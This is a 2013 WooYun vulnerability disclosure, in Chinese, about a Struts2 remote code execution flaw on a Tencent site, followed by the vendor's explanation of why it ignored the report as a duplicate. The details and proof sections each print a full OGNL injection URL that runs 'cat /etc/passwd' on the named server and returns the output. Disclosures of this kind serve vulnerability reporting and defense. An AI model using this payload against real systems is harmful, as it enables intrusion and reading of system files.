漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-029391
漏洞标题：腾讯某站存在struts2远程代码执行漏洞
相关厂商：腾讯
漏洞作者： 小博
提交时间：2013-07-17 16:34
修复时间：2013-07-18 16:03
公开时间：2013-07-18 16:03
漏洞类型：文件上传导致任意代码执行
危害等级：高
自评Rank：10
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-07-17： 细节已通知厂商并且等待厂商处理中
2013-07-18： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
详细说明：
http://act.sj.qq.com/bless/blog.do?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
漏洞证明：
http://act.sj.qq.com/bless/blog.do?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
修复方案：
版权声明：转载请注明来源 小博@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2013-07-18 16:03
厂商回复：
我们在17号上午就已经接到大量报告，获悉到这个情况，因此这里忽略。
依然感谢你的报告。
最新状态：
2013-07-19：各位大牛，不要激动。 腾讯并未高高在上，我们是基于这样的考虑才做出忽略的决定：这个漏洞前后共计10+的人都向我们报告过，我们的处理原则是对所有报告者表示感谢，但只对首发报告者给分。 我们也已经与洞主沟通过，提出忽略的原因，洞主表示“无所谓”。 这里也暴露出了我们在处理时的一些问题，一个是当时重复的漏洞报告特别多（100+），人力有限，我们无法一一答复；二个是wooyun平台上提供的厂商与白帽子沟通渠道并不及时（私信方式，无法保证及时性。各位大牛是否有同感？），本次也是通过QQ及时联系到洞主，建议wooyun提供一键QQ联系的方式。以上问题我们会改进。 非常感谢各位大牛的批评与建议，有任何问题都可以提出。另外，请理智发言,文明上网。